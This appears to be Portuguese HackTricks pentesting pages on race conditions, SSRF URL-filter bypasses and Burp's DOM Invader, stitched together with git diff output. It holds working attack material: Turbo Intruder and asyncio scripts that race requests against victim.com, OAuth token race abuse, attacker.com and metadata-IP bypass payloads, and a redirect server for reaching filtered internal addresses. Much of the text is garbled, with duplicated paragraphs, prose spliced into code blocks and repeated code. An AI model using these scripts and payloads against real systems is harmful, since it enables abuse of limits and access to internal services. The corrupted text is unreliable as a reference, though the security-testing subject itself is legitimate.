Portanto, é importante não atribuir o tempo inconsistente de solicitação ao comportamento do aplicativo, como mecanismos de bloqueio que permitem apenas que uma única thread acesse um recurso de cada vez. Além disso, o roteamento de solicitações de front-end geralmente é feito por conexão, portanto, você pode suavizar o tempo de solicitação realizando o aquecimento da conexão do lado do servidor - **enviando algumas solicitações inconsequentes pela sua conexão antes de realizar o ataque**.
Observe que o **PHP faz bloqueio no sessionid por padrão**, portanto, você precisa usar uma **sessão separada para cada solicitação** em seu lote ou elas serão processadas sequencialmente.
{% hint style="warning" %}
Para obter mais informações sobre essa técnica, consulte o relatório original em [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
{% endhint %}
#### Exemplos
Você pode verificar um exemplo simples de como usar isso no turbo intruder em [https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/race-single-packet-attack.py](https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/race-single-packet-attack.py).
Também está disponível no **Repeater** por meio da nova opção '**Enviar grupo em paralelo**' no Burp Suite.
### BF Bruto
Antes da pesquisa anterior, esses eram alguns payloads usados que apenas tentavam enviar os pacotes o mais rápido possível para causar uma RC.
* **Turbo Intruder**
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=30,
pipeline=False
)
for i in range(30):
engine.queue(target.req, i)
engine.queue(target.req, target.baseInput, gate='race1')
engine.start(timeout=5)
engine.openGate('race1')
engine.complete(timeout=60)
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
table.add(req)
```
Usando também o BURP, você pode enviar a **requisição** para o **Intruder**, definir o **número de threads** para **30** dentro do menu **Opções** e selecionar como carga útil **Cargas úteis nulas** e gerar **30**.
* **Python - asyncio**
### **Usando o mesmo código de contas diferentes**
A biblioteca `asyncio` do Python fornece suporte para programação assíncrona, permitindo que você escreva código concorrente e escalável de forma mais eficiente. Com `asyncio`, você pode lidar com tarefas assíncronas, como chamadas de rede, de forma mais eficiente, evitando bloqueios desnecessários.
**Se a proposta anterior não funcionar (tente usar o mesmo código várias vezes na mesma conta), você pode tentar uma variante: tente usar o mesmo código de contas diferentes:**
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
A programação assíncrona é particularmente útil ao lidar com condições de corrida em aplicativos da web. Uma condição de corrida ocorre quando duas ou mais operações concorrentes tentam acessar ou modificar um recurso compartilhado ao mesmo tempo, resultando em comportamento imprevisível ou incorreto.
def handleResponse(req, interesting):
table.add(req)
```
### Usando Python
Ao usar `asyncio`, você pode evitar condições de corrida implementando mecanismos de exclusão mútua, como semáforos ou bloqueios, para garantir que apenas uma tarefa possa acessar o recurso compartilhado de cada vez. Isso ajuda a evitar problemas de consistência de dados e garante que o aplicativo funcione corretamente, mesmo em cenários de alta concorrência.
A biblioteca `asyncio` também oferece suporte a outras funcionalidades úteis, como tarefas periódicas, filas assíncronas e comunicação entre tarefas assíncronas. Com esses recursos, você pode criar aplicativos da web mais eficientes e responsivos, capazes de lidar com um grande número de solicitações simultâneas.
Em resumo, o uso da biblioteca `asyncio` do Python é uma abordagem eficaz para lidar com condições de corrida em aplicativos da web, permitindo que você escreva código concorrente e escalável de forma mais eficiente.
```python
import asyncio
import httpx
async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
asyncio.run(main())
```
## Persistência eterna do OAuth2
* **Intruso**: Envie a **solicitação** para o **Intruso**, defina o **número de threads** para **30** dentro do menu **Opções** e selecione como carga útil **Cargas úteis nulas** e gere **30**.
## **Metodologia RC**
## **Impactos do RC**
### Limite de estouro
Este é o tipo mais básico de condição de corrida, onde **vulnerabilidades** que **aparecem** em lugares que **limitam o número de vezes que você pode executar uma ação**. Como usar o mesmo código de desconto em uma loja virtual várias vezes. Um exemplo muito fácil pode ser encontrado neste [**relatório**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ou neste [**bug**](https://hackerone.com/reports/759247)**.**
### **Subestados ocultos**
Outra condição de corrida mais complicada explorará **subestados no estado da máquina** que poderiam permitir que um invasor **abusasse** de estados aos quais ele **nunca deveria ter acesso**, mas há uma **pequena janela** para o invasor acessá-lo.
1. **Prever subestados ocultos e interessantes potenciais**
O primeiro passo é identificar todos os pontos finais que gravam nele ou lêem dados dele e, em seguida, usam esses dados para algo importante. Por exemplo, os usuários podem ser armazenados em uma tabela de banco de dados que é modificada pelo registro, edição de perfil, iniciação de redefinição de senha e conclusão da redefinição de senha.
Podemos usar três perguntas-chave para descartar pontos finais que provavelmente não causarão colisões. Para cada objeto e os pontos finais associados, pergunte:
**1) Como o estado é armazenado?**
Dados armazenados em uma estrutura de dados persistente do lado do servidor são ideais para exploração. Alguns pontos finais armazenam seu estado inteiramente no lado do cliente, como redefinições de senha que funcionam enviando um JWT por e-mail - esses podem ser ignorados com segurança.
As aplicações costumam armazenar algum estado na sessão do usuário. Esses são frequentemente um tanto protegidos contra subestados - mais sobre isso depois.
**2) Estamos editando ou anexando?**
Operações que editam dados existentes (como alterar o endereço de e-mail principal de uma conta) têm grande potencial de colisão, enquanto ações que simplesmente anexam a dados existentes (como adicionar um endereço de e-mail adicional) provavelmente não são vulneráveis a nada além de ataques de limite de estouro.
**3) Em que a operação é baseada?**
A maioria dos pontos finais opera em um registro específico, que é procurado usando uma 'chave', como um nome de usuário, token de redefinição de senha ou nome de arquivo. Para um ataque bem-sucedido, precisamos de duas operações que usem a mesma chave. Por exemplo, imagine duas implementações plausíveis de redefinição de senha:
<figure><img src="../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
2. **Investigar pistas**
Neste ponto, é hora de **lançar alguns ataques de RC** nos pontos finais potencialmente interessantes para tentar encontrar resultados inesperados em comparação com os regulares. **Qualquer desvio da resposta esperada**, como uma alteração em uma ou mais respostas, ou um efeito de segunda ordem, como conteúdos de e-mail diferentes ou uma mudança visível em sua sessão, pode ser uma pista indicando que algo está errado.
3. **Provar o conceito**
A etapa final é **provar o conceito e transformá-lo em um ataque viável**.
Quando você envia um lote de solicitações, pode descobrir que um par de solicitações iniciais aciona um estado final vulnerável, mas solicitações posteriores sobrescrevem/invalidam esse estado e o estado final não pode ser explorado. Nesse cenário, você desejará eliminar todas as solicitações desnecessárias - duas devem ser suficientes para explorar a maioria das vulnerabilidades. No entanto, reduzir para duas solicitações tornará o ataque mais sensível ao tempo, portanto, talvez seja necessário tentar o ataque várias vezes ou automatizá-lo.
## Estudos de caso de subestados ocultos
### Pagar e adicionar um item
[**Verifique este laboratório**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) para ver como **pagar** em uma loja e **adicionar um item extra** que você **não precisará pagar**.
### Confirmar outros e-mails
A ideia é **verificar um endereço de e-mail e alterá-lo ao mesmo tempo** para descobrir se a plataforma verifica o novo endereço alterado.
### Alterar o e-mail para 2 endereços de e-mail
De acordo com [**este relatório**](https://portswigger.net/research/smashing-the-state-machine), o Gitlab estava vulnerável a uma invasão dessa maneira porque poderia **enviar o token de verificação de e-mail de um e-mail para o outro e-mail**.
### Persistência eterna do OAuth2
Existem vários [**provedores de OAuth**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Esses serviços permitirão que você crie um aplicativo e autentique usuários registrados pelo provedor. Para fazer isso, o **cliente** precisará **permitir que seu aplicativo** acesse alguns de seus dados dentro do **provedor de OAuth**.\
Então, até aqui, apenas um login comum com google/linkdin/github... onde você é solicitado com uma página dizendo: "_O aplicativo \<InsertCoolName> deseja acessar suas informações, você deseja permitir?_"
Até aqui, apenas um login comum com Google/LinkedIn/GitHub... onde você é solicitado em uma página dizendo: "_O aplicativo \<InserirNomeLegal> deseja acessar suas informações, você deseja permitir?_"
#### Condição de corrida em `authorization_code`
O **problema** aparece quando você **aceita** e automaticamente envia um **`authorization_code`** para o aplicativo malicioso. Em seguida, este **aplicativo abusa de uma Condição de Corrida no provedor de serviços de OAuth para gerar mais de um AT/RT** (_Token de Autenticação/Token de Atualização_) a partir do **`authorization_code`** para sua conta. Basicamente, ele abusará do fato de você ter aceitado o aplicativo para acessar seus dados para **criar várias contas**. Então, se você **parar de permitir que o aplicativo acesse seus dados, um par de AT/RT será excluído, mas os outros ainda serão válidos**.
O **problema** ocorre quando você **aceita** e envia automaticamente um **`authorization_code`** para o aplicativo malicioso. Em seguida, este aplicativo **abusa de uma condição de corrida no provedor de serviços de OAuth para gerar mais de um AT/RT** (_Token de Autenticação/Token de Renovação_) a partir do **`authorization_code`** para sua conta. Basicamente, ele abusará do fato de você ter aceitado o aplicativo para acessar seus dados e **criará várias contas**. Em seguida, se você **parar de permitir que o aplicativo acesse seus dados, um par de AT/RT será excluído, mas os outros ainda serão válidos**.
#### Condição de corrida em `Refresh Token`
Depois de **obter um RT válido**, você pode tentar **abusar dele para gerar vários AT/RT** e **mesmo se o usuário cancelar as permissões** para o aplicativo malicioso acessar seus dados, **vários RTs ainda serão válidos.**
Depois de **obter um RT válido**, você pode tentar **abusar dele para gerar vários AT/RT** e, mesmo se o usuário cancelar as permissões para o aplicativo malicioso acessar seus dados, **vários RTs ainda serão válidos**.
## Referências
* [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
* [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
* [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140)
* [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas dicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para criar e **automatizar fluxos de trabalho** com facilidade, alimentados pelas ferramentas da comunidade **mais avançadas do mundo**.\
Obtenha acesso hoje:
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
Acesse hoje mesmo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -4,11 +4,11 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -81,6 +81,8 @@ http://bugbounty.dod.network = 127.0.0.2 (localhost)
1ynrnhl.xip.io == 169.254.169.254
spoofed.burpcollaborator.net = 127.0.0.1
```
O **Burp extension** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implementa bypasses de formatação de IP.
### Analisador de Domínio
```bash
https:attacker.com
@ -111,6 +113,14 @@ attacker。com
ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
```
### Confusão de Domínio
Domain confusion is a technique used in server-side request forgery (SSRF) attacks to bypass URL-based filters. It involves manipulating the URL format to deceive the server into making unintended requests.
A common method of domain confusion is to use a URL with a non-standard format that is still recognized by the server. For example, instead of using the standard "http://" or "https://" prefix, an attacker may use a different prefix such as "gopher://" or "dict://". These prefixes are often overlooked by URL filters, allowing the attacker to bypass restrictions.
Another approach is to use a URL with an IP address instead of a domain name. By using an IP address, the attacker can bypass domain-based filters that only check for specific domain names. Additionally, the attacker can use IP addresses that are associated with internal or private networks, allowing them to access resources that are not publicly accessible.
It is important to note that domain confusion is just one technique used in SSRF attacks, and it may not work in all scenarios. However, it is a valuable tool for bypassing URL-based filters and should be considered when testing the security of web applications.
```bash
# Try also to change attacker.com for 127.0.0.1 to try to access localhost
# Try replacing https by http
@ -147,7 +157,7 @@ next={domain}&next=attacker.com
```
### Bypass de Caminhos e Extensões
Se for necessário que a URL termine em um caminho ou extensão, ou que contenha um caminho, você pode tentar um dos seguintes bypasses:
Se for necessário que a URL termine em um caminho ou uma extensão, ou que contenha um caminho, você pode tentar um dos seguintes bypasses:
```
https://metadata/vulerable/path#/expected/path
https://metadata/vulerable/path#.extension
@ -155,12 +165,12 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
```
### Fuzzing
A ferramenta [**recollapse**](https://github.com/0xacb/recollapse) pode gerar variações a partir de uma entrada fornecida para tentar burlar a regex utilizada. Confira [**este post**](https://0xacb.com/2022/11/21/recollapse/) para mais informações.
A ferramenta [**recollapse**](https://github.com/0xacb/recollapse) pode gerar variações a partir de uma entrada fornecida para tentar burlar a regex utilizada. Confira [**este post**](https://0xacb.com/2022/11/21/recollapse/) também para mais informações.
### Bypass via redirecionamento
Pode ser possível que o servidor esteja **filtrando a solicitação original** de um SSRF, **mas não** uma possível resposta de **redirecionamento** para essa solicitação.\
Por exemplo, um servidor vulnerável a SSRF via: `url=https://www.google.com/` pode estar **filtrando o parâmetro url**. Mas se você usar um [servidor python para responder com um 302](https://pastebin.com/raw/ywAUhFrv) para o local onde deseja redirecionar, você pode ser capaz de **acessar endereços IP filtrados** como 127.0.0.1 ou até mesmo **protocolos** filtrados como gopher.\
É possível que o servidor esteja **filtrando a requisição original** de um SSRF, **mas não** uma possível resposta de **redirecionamento** para essa requisição.\
Por exemplo, um servidor vulnerável a SSRF através de: `url=https://www.google.com/` pode estar **filtrando o parâmetro url**. Mas se você usar um [servidor python para responder com um 302](https://pastebin.com/raw/ywAUhFrv) para o local onde você deseja redirecionar, você pode ser capaz de **acessar endereços IP filtrados** como 127.0.0.1 ou até mesmo **protocolos filtrados** como gopher.\
[Confira este relatório.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
```python
#!/usr/bin/env python3
@ -171,14 +181,14 @@ import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
if len(sys.argv)-1 != 2:
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
sys.exit()
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
sys.exit()
class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
```
@ -186,11 +196,11 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
### Truque da Barra Invertida
Em resumo, o _truque da barra invertida_ baseia-se na exploração de uma pequena diferença entre duas especificações de "URL": o [Padrão de URL WHATWG](https://url.spec.whatwg.org/#url-parsing) e o [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). O RFC3986 é uma especificação genérica e multiuso para a sintaxe de _Uniform Resource Identifiers_, enquanto o Padrão de URL WHATWG é especificamente voltado para a Web e para URLs (que são um subconjunto de URIs). Navegadores modernos implementam o Padrão de URL WHATWG.
Em resumo, o _truque da barra invertida_ se baseia na exploração de uma pequena diferença entre duas especificações de "URL": o [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) e o [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). O RFC3986 é uma especificação genérica e multiuso para a sintaxe de _Uniform Resource Identifiers_ (Identificadores de Recursos Uniformes), enquanto o WHATWG URL Standard é especificamente voltado para a Web e para URLs (que são um subconjunto de URIs). Navegadores modernos implementam o WHATWG URL Standard.
Ambos descrevem uma maneira de analisar URI/URLs, com uma pequena diferença. A especificação WHATWG descreve [um caractere extra](https://url.spec.whatwg.org/#authority-state), a `\`, que se comporta exatamente como `/`: termina o nome do host e a autoridade e inicia o caminho da URL.
Ambas as especificações descrevem uma maneira de analisar URIs/URLs, com uma pequena diferença. A especificação WHATWG descreve [um caractere adicional](https://url.spec.whatwg.org/#authority-state), a `\`, que se comporta exatamente como `/`: encerra o nome do host e a autoridade e inicia o caminho da URL.
![As duas especificações analisando a mesma URL de forma diferente](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
![As duas especificações analisando a mesma URL de maneira diferente](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
### Outras Confusões
@ -202,10 +212,10 @@ imagem de [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-c
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,4 +1,4 @@
# Invador DOM
# DOM Invader
<details>
@ -8,80 +8,80 @@
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Invador DOM
## DOM Invader
O Invador DOM é uma ferramenta do navegador instalada no navegador integrado do Burp. Ele ajuda a **detectar vulnerabilidades de XSS DOM** usando várias fontes e sinks, incluindo mensagens da web e poluição de protótipos. A ferramenta é pré-instalada como uma extensão.
O DOM Invader é uma ferramenta do navegador instalada no navegador integrado do Burp. Ele auxilia na **detecção de vulnerabilidades de XSS no DOM** usando várias fontes e sinks, incluindo mensagens da web e poluição de protótipos. A ferramenta é pré-instalada como uma extensão.
O Invador DOM integra uma guia dentro do painel DevTools do navegador, permitindo o seguinte:
O DOM Invader integra uma guia dentro do painel DevTools do navegador, permitindo o seguinte:
1. **Identificação de sinks controláveis** em uma página da web para teste de XSS DOM, fornecendo contexto e detalhes de sanitização.
2. **Registro, edição e reenvio de mensagens da web** enviadas via método `postMessage()` para teste de XSS DOM. O Invador DOM também pode detectar automaticamente vulnerabilidades usando mensagens da web especialmente criadas.
1. **Identificação de sinks controláveis** em uma página da web para teste de XSS no DOM, fornecendo contexto e detalhes de sanitização.
2. **Registro, edição e reenvio de mensagens da web** enviadas pelo método `postMessage()` para teste de XSS no DOM. O DOM Invader também pode detectar automaticamente vulnerabilidades usando mensagens da web especialmente criadas.
3. Detecção de **fontes de poluição de protótipos do lado do cliente** e varredura de gadgets controláveis enviados para sinks arriscados.
4. Identificação de **vulnerabilidades de clobbering DOM**.
4. Identificação de vulnerabilidades de **DOM clobbering**.
### Habilitar
No navegador integrado do Burp, vá para a **extensão Burp** e habilite-a:
No navegador integrado do Burp, vá para a **extensão do Burp** e habilite-a:
<figure><img src="../../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>
Agora atualize a página e na **Dev Tools** você encontrará a **guia Invador DOM:**
Agora atualize a página e na **Dev Tools** você encontrará a **guia DOM Invader:**
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Injetar um canário
### Injetar um Canary
Na imagem anterior, você pode ver um **grupo aleatório de caracteres, que é o canário**. Agora você deve começar a **injetá-lo** em diferentes partes da web (parâmetros, formulários, URL...) e clicar em pesquisar cada vez. O Invador DOM verificará se o **canário terminou em algum sink interessante** que possa ser explorado.
Na imagem anterior, você pode ver um **grupo aleatório de caracteres, que é o Canary**. Agora você deve começar a **injetá-lo** em diferentes partes da web (parâmetros, formulários, URL...) e a cada vez clicar em pesquisar. O DOM Invader verificará se o **canary terminou em algum sink interessante** que possa ser explorado.
Além disso, as opções **Injetar parâmetros de URL** e Injetar formulários abrirão automaticamente uma **nova guia** **injetando** o **canário** em todos os **parâmetros de URL** e **formulários** que encontrar.
Além disso, as opções **Injetar parâmetros de URL** e Injetar formulários abrirão automaticamente uma **nova guia** **injetando** o **canary** em cada **parâmetro de URL** e **formulário** encontrado.
### Injetar um canário vazio
### Injetar um Canary vazio
Se você quiser apenas encontrar sinks potenciais que a página possa ter, mesmo que não sejam exploráveis, você pode **procurar por um canário vazio**.
Se você apenas deseja encontrar sinks potenciais que a página possa ter, mesmo que não sejam exploráveis, você pode **procurar por um canary vazio**.
### Mensagens da web
### Mensagens da Web
O Invador DOM permite testar o XSS DOM usando mensagens da web com recursos como:
O DOM Invader permite testar XSS no DOM usando mensagens da web com recursos como:
1. **Registro de mensagens da web** enviadas via `postMessage()`, semelhante ao registro de histórico de solicitação/resposta HTTP do Burp Proxy.
2. **Modificação** e **reenvio** de mensagens da web para testar manualmente o XSS DOM, semelhante à função do Burp Repeater.
3. **Alteração automática** e envio de mensagens da web para sondar o XSS DOM.
2. **Modificação** e **reenvio** de mensagens da web para testar manualmente XSS no DOM, semelhante à função do Burp Repeater.
3. **Alteração automática** e envio de mensagens da web para sondar XSS no DOM.
#### Detalhes da mensagem
